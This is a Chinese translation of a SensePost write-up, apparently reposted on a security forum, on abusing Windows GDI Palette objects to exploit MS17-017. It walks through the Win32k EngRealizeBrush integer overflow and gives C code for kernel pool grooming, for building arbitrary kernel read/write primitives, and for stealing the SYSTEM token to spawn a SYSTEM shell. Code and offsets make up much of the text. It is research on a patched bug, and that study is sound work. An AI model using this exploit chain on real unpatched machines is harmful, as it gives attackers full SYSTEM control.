-
-
[翻译]滥用GDI对象的ring0原语革命
-
发表于: 2017-8-12 01:35 5626
-
原文:https://sensepost.com/blog/2017/abusing-gdi-objects-for-ring0-primitives-revolution/
使用Palettes利用MS17-017 EOP
这个帖子是Saif在Defcon 25演讲的概括。演讲的核心主题之一是发布了一种名为Palette Objects的新的GDI对象滥用技术。Saif展示了以前未公开的Windows 7 SP1 x86的EXP,涉及新发现的GDI对象滥用技术。完整白皮书已经发布,可以在这里找到。演讲中讨论的EXP和源代码可以在这里找到。
XEPALOBJ - Palettes对象
Palettes指定可在设备上下文中使用的颜色。在内核内存中由池标签Gh?8和Gla8表示,并在Win32k调试符号中具有类型名_PALETTE,XEPALOBJ或PALOBJ。因为一些被分析的函数涉及XEPALOBJ,所以我就从它开始。内核结构在MSDN上没有文档,但是在ReactOS中可以找到x86版本,而在Deigo Juarez编写的非常好用的windbg插件GDIObjDump中可以找到x86和x64两种版本。在2017年3月的360 Vulcan团队的talk中提到了使用Palettes的相对内存读/写技术。然而据我所知这里概述的包括任意内存读/写在内的完整技术尚未完全公开。
X86和X64 PALETTE结构体
XEPALOBJ中cEntries表示PALETTEENTRY数组中成员的数量,pFirstColor是一个指向PALETTEENTRY数组apalColors的第一个成员的指针。
KAlloc
CreatePalette函数用于分配Palettes对象。它采用LOGPALETTE结构体作为参数,x86系统的分配小于0x98个字节,x64系统的分配小于0xD8个字节,并分配给快表。
KFree
要释放Palette对象可以使用DeleteObject函数,并提供Palette的句柄作为参数:DeleteObject(HPALETTE)。
读取内存的函数
GetPaletteEntries函数用来读取hpal句柄表示的XEPALOBJ结构中pFirstColor指针指向的apalColors数组自偏移iStartIndex开始的nEntries个元素,并将其保存到缓冲区lppe中。函数定义如下。
写入内存的函数
SetPaletteEntries和AnimatePalette这两个函数用来将缓冲区lppe或ppe中的cEntries个元素写入hpal句柄表示的XEPALOBJ结构中pFirstColor指针指向的apalColors数组自偏移iStart或iStartIndex开始的位置。
相对内存读/写cEntries
XEPALOBJ结构体中的cEntries成员用于表示Palettes对象中的apalColors数组中Entries的个数,如果它被覆盖为更大的值,那么在Palette上进行读/写操作时,它将读/写超出为它分配的内核内存。
任意内存读/写pFirstColor
通过引用指向apalColors数组的第一个成员的指针pFirstColor实现读/写操作。通过改变指定Palette中的这个指针,它可用于在内核内存任意位置读/写。
利用方法
Palette对象可以用和Bitmap对象相同的方式被滥用。通过使用cEntries或pFirstColor成员在我们的控制之下的Manager Palette控制第二个Worker Palette的pFirstColor获得任意的内核内存读/写原语。
重点在于Manager Palette对象的cEntries可以被控制的情形,通过溢出获得对内核内存中Manager Palette对象位置的相对内存读/写,并使用它覆盖相邻Worker Palette对象的pFirstColor。
技术限制
使用Palette技术有一些限制。溢出cEntires时该值在x86系统上必须大于0x26,在x64系统上必须大于0x36,因为分配给x86位系统上XEPALOBJ的最小大小是0x98,x64上是0xd8,所以即使cEntires为0x1,如果被0x6覆盖,则会导致0x6*0x4=0x18,小于最小分配的Palette大小。当使用SetPaletteEntries函数将Entries写入内存时,溢出不应该覆盖XEPALOBJ的某些成员(hdcHead,ptransOld和ptransCurrent)。
用户模式的函数SetPaletteEntries调用NTSetPaletteEntries->GreSetPaletteEntries,第一个限制在hdcHead成员上,如果此成员被设置,代码会走下图中黄色的路径,最终以错误或BSOD结束。
在代码到达这里之前GreSetPaletteEntries将调用XEPALOBJ::ulSetEntries,它检查pTransCurrent和pTransOld成员,并且如果它们被设置,代码将采用将它们指向的值和ecx相与的路径,这将导致BSOD。
使用用户态函数AnimatePalettes设置Palette的唯一限制是pFirstColor指向的内存位置的最高位字节必须是一个奇数值,这在x64位系统上是有挑战性的,但在x86位系统上并不困难,如下面的XEPALOBJ::ulAnimatePalette所示。尽管这不会导致蓝屏,但会在将新值写入内存位置时出错。
MS17-017 Win32k!EngRealizeBrush整数溢出导致OOB内存池写
现在我已经概述了Palette对象以及它们如何被滥用,让我们在漏洞利用中使用这种新技术。
理解bug
三月微软发布了一个补丁修复了影响GDI内核子系统的提权漏洞。被打补丁的函数是Win32k!EngRealizeBrush。
左侧是Win32k.sys中打了补丁的函数,将其与右侧未修补的版本进行比较,很显然由于几个整数验证功能(如ULonglongtoUlong)和其它代码存在一个整数溢出问题。即使上面的截图不能包含整个补丁,查看IDA中未修补的函数并尝试确定问题是什么以及如何被利用更容易。
触发溢出
WIN32K!EngRealizeBrush函数可以通过使用PatBlt函数使用创建的palette使用选定的当前图形设备上下文的brush绘制区域来调用。当使用实线或阴影的brush创建Palettes时,注意到可以溢出的值在我的系统上总是0x100,但是当使用基于模式的brush时,该值可以被控制。
HBITMAP bitmap = CreateBitmap(0x5a1f, 0x5a1f, 1, 1, NULL); HBRUSH hbrBkgnd = CreatePatternBrush(bitmap); PatBlt(hdc, 0x100, 0x10, 0x100, 0x100, PATCOPY);
edi寄存器是模式brush使用的bitmap的bitmap.width成员,执行的计算依次如下。
x = Bitmap.width * 20 (ecx = 20 and its based of the HDC->bitmap.bitsperpixel) x = x / 2^3 y = x * bitmap.height result = y + 0x44
然后将结果和0x40相加并作为size参数传递给分配函数。
由于可以控制bitmap.width和bitmap.height的值,因此只需要找到正确的组合即可导致溢出。我们希望溢出后获得的值为0x10(稍后解释)。要使溢出的整数为该值,实际的计算结果必须等于0x100000010。
0x100000010 – 0x44 – 0x40 = 0xFFFFFF8C
0xFFFFFF8C=0x8c(140)0x1d41d41(30678337),计算后的bitmap.width的值应为0x8c,(0x8c0x8)/0x20=0x23。使用以下bitmap作为模式brush的源,当它和0x40和0x44相加溢出后获得的值为0x10。
HBITMAP bitmap = CreateBitmap(0x23,0x1d41d41,1,1,NULL);
分配内存之后,该函数将尝试写入已分配对象的某些偏移量,如下所示。如果分配内存小于0x30字节,写入[esi+0x3C]将导致OOB写。
标志对齐
记得0x10吗?选择该特定值的原因是为了进行对齐,选择的溢出对象是bitmap对象:覆盖其高度成员,并获得相对内存读/写原语。32位_SURFOBJ的高度成员位于偏移0x14处。
Allocated object size (0x10) + Bitmap _POOL_HEADER size(0x8) + _BASE_OBJECT size (0x10) + _SURFOBJ->height (0x14) = OOB write offset (0x3C)
第一部分的计算结束时,可以看出,EBX的值为0xFFFFFFD0。
来到内存分配部分,开始时0xFFFFFFD0和0x40相加,导致EAX为0x10。
由于在函数结束时分配的对象被释放,所以对象需要分配在内存页的末尾。这次的区别在于它应该直接跟随bitmap对象之后,这样我们可以溢出bitmap对象的高度并扩展其大小以获得相对的内存读/写。此时,我们有三个选择。
1.扩展的bitmap对象可以用作Manager,覆盖相邻bitmap对象的pvScan0成员,并将相邻bitmap对象作为Worker。
2.扩展的bitmap对象可以用作Manager,覆盖相邻Palette对象的(XEPALOBJ)pFirstColor成员,并使用相邻Palette对象作为Worker。
3.演示全新的Palette对象技术,使用扩展bitmap对象覆盖相邻Palette对象的cEntries成员,获取相对内存读/写,然后使用修改的Palette对象作为Manager,来控制第二个Palette对象的pFirstColor成员,使用第二个Palette对象作为Worker。
我决定用最后一个方案,把它作为一个演示新技术的机会。要实现这一点有必要进行内核池风水,如下所述。
内核池风水
第一次分配大小0xFE8的bitmap,因为我们知道存在漏洞的对象大小为0x10+0x8(POOL_HEADER)(0x1000-0x18=0xFE8)。我们进行了2000次分配。
0x1000 – 0x18 = 0xFE8
for (int y = 0; y < 2000; y++) { //0x3A3 = 0xFe8 bmp = CreateBitmap(0x3A3, 1, 1, 32, NULL); bitmaps[y] = bmp; }
下一步是分配大小2000个大小为0x18的对象,我发现的最佳对象是Window类lpszMenuName。虽然这是一个User对象,但是它是被分配给Pages会话池的User对象之一,我认为它可以用于从User对象中泄漏GDI对象的地址,但这超出了本文的范围。
//Spray LpszMenuName User object in GDI pool. Ustx // size 0x10+8 TCHAR st[0x32]; for (int s = 0; s < 2000; s++) { WNDCLASSEX Class2 = { 0 }; wsprintf(st, "Class%d", s); Class2.lpfnWndProc = DefWindowProc; Class2.lpszClassName = st; Class2.lpszMenuName = "Saif"; Class2.cbSize = sizeof(WNDCLASSEX); if (!RegisterClassEx(&Class2)) { printf("bad %d %d\r\n", s, GetLastError()); break; } }
下一步将释放分配给页面开头的所有大的bitmap对象Gh05。
for (int s = 0; s < 2000; s++) { DeleteObject(bitmaps[s]); }
并分配大小为0x7F8的较小的bitmap对象Gh05,该对象将被分配到池页面的开头,希望它能刚好在放置存在漏洞的对象的内存空洞之后。
for (int k = 0; k < 2000; k++) { //0x1A6 = 0x7f0+8 bmp = CreateBitmap(0x1A6, 1, 1, 32, NULL); bitmaps[k] = bmp; }
接下来将分配大小为0x7E8的2000个Palette对象Gh08到内核内存页面中剩余的空闲内存。
HPALETTE hps; LOGPALETTE *lPalette; //0x1E3 = 0x7e8+8 lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * sizeof(PALETTEENTRY)); lPalette->palNumEntries = 0x1E3; lPalette->palVersion = 0x0300; // for allocations bigger than 0x98 its Gh08 for less its always 0x98 and the tag is Gla18 for (int k = 0; k < 2000; k++) { hps = CreatePalette(lPalette); if (!hps) { printf("%s - %d - %d\r\n", "CreatePalette - Failed", GetLastError(), k); } hp[k] = hps; }
然后释放一些分配的Window类lpszMenuName,以在池页面的末尾创建与存在漏洞的对象分配大小相同的内存空间。
TCHAR fst[0x32]; for (int f = 500; f < 750; f++) { wsprintf(fst, "Class%d", f); UnregisterClass(fst, NULL); }
如果一切都按照计划那么存在漏洞的对象分配后内存布局如下。
Bitmap GDI对象扩展相对读/写
现在存在漏洞的对象被放置在页的末端并刚好位于Bitmap对象之前,OOB写(mov [esi+3c],ecx)应该写入biBitCount控制的代表brush的bitmap类型DWORD 0x00000006(BMF_32BPP)到偏移为0x3C的存在漏洞的对象,刚好是Bitmap对象sizlBitmap的height成员。
如上图所示,相邻的Bitmap对象sizlBitmap.Height从0x1更改为0x6,成功扩展了Bitmap大小,因此对它的任何后续操作都将导致OOB内存的读/写。找出哪个Bitmap被扩展的方法是遍历分配的Bitmap,并找到哪个可以使用GetBitmapBits读取超过其原始大小的数据。
for (int i = 0; i < 2000; i++) { res = GetBitmapBits(bitmaps[i], 0x6F8, bits); if (res > 0x6F8 - 1) { hManager = bitmaps[i]; printf("[*] Manager Bitmap: %d\r\n", i); break; } }
滥用Palette GDI对象
一旦找到Bitmap对象,该Bitmap将用于将相邻Palette(XEPALOBJ)对象的cEntries成员设置为0xFFFFFFFF,它位于Bitmap偏移量0x6B8处。
//BYTE *bytes = (BYTE*)&cEntries; for (int y = 0; y < 4; y++) { bits[0x6F8 - 8 - 0x38 + y] = 0xFF; } SetBitmapBits((HBITMAP)hManager, 0x6F8, bits);
此时使用GetPaletteEntries函数执行一个循环监视Entries是否大于原始的0x1E3来查找哪个Palette对象被扩展。
UINT *rPalette; rPalette = (UINT*)malloc((0x400 - 1) * sizeof(PALETTEENTRY)); memset(rPalette, 0x0, (0x400 - 1) * sizeof(PALETTEENTRY)); for (int k = 0; k < 2000; k++) { UINT res = GetPaletteEntries(hp[k], 0, 0x400, (LPPALETTEENTRY)rPalette); if (res > 0x3BB) { printf("[*] Manager XEPALOBJ Object Handle: 0x%x\r\n", hp[k]); hpManager = hp[k]; break; } }
一旦找到扩展的Palette对象,我们将保存其句柄以将其用作Manager,并将下一个Palette对象的pFirstColor(位于Manager Palette对象偏移0x3FE处)设置为固定Bitmap对象池头的地址。
UINT wAddress = rPalette[0x3FE]; printf("[*] Worker XEPALOBJ->pFirstColor: 0x%04x.\r\n", wAddress); UINT tHeader = pFirstColor - 0x1000; tHeader = tHeader & 0xFFFFF000; printf("[*] Gh05 Address: 0x%04x.\r\n", tHeader); SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)&tHeader);
如上所述,Worker pFirstColor成员已成功设置为固定的Bitmap对象池头,这意味着任意内存读/写已经实现。下一步是识别Worker Palette对象句柄,我们知道POOL_HEADER的固定Bitmap对象的最低有效字节将为0x35=5d,因为Gh15的ASCII为0x35316847。为识别Worker Palette对象,循环将遍历分配Palette调用GetPaletteEntries,直到找到一个Palette的第一个entry的最低有效字节=0x35,并保存其句柄作为我们的Worker Palette对象。
UINT wBuffer[2]; for (int x = 0; x < 2000; x++) { GetPaletteEntries((HPALETTE)hp[x], 0, 2, (LPPALETTEENTRY)wBuffer); if (wBuffer[1] >> 24 == 0x35) { hpWorker = hp[x]; printf("[*] Worker XEPALOBJ object Handle: 0x%x\r\n", hpWorker); printf("[*] wBuffer: %x\r\n", wBuffer[1]); break; } }
任意内存读/写将用于修复被破坏的Bitmap对象头。
VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8 }; void SetAddress(UINT* address) { SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)address); } void WriteToAddress(UINT* data, DWORD len) { SetPaletteEntries((HPALETTE)hpWorker, 0, len, (PALETTEENTRY*)data); } UINT ReadFromAddress(UINT src, UINT* dst, DWORD len) { SetAddress((UINT *)&src); DWORD res = GetPaletteEntries((HPALETTE)hpWorker, 0, len, (LPPALETTEENTRY)dst); return res; }
窃取令牌
任意的内核内存读/写实现和所有被损坏的内存都修复之后,我们现在可以获得指向SYSTEM进程_EPROCESS结构体的内核指针,复制并替换当前进程的SecurityToken,如前一篇文章中所述。
// get System EPROCESS UINT SystemEPROCESS = PsInitialSystemProcess(); //fprintf(stdout, "\r\n%x\r\n", SystemEPROCESS); UINT CurrentEPROCESS = PsGetCurrentProcess(); //fprintf(stdout, "\r\n%x\r\n", CurrentEPROCESS); UINT SystemToken = 0; // read token from system process ReadFromAddress(SystemEPROCESS + gConfig.TokenOffset, &SystemToken, 1); fprintf(stdout, "[*] Got System Token: %x\r\n", SystemToken); // write token to current process UINT CurProccessAddr = CurrentEPROCESS + gConfig.TokenOffset; SetAddress(&CurProccessAddr);
SYSTEM!!
现在当前的进程有一个SYSTEM令牌,调用cmd.exe将获得SYSTEM shell。
system("cmd.exe");
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!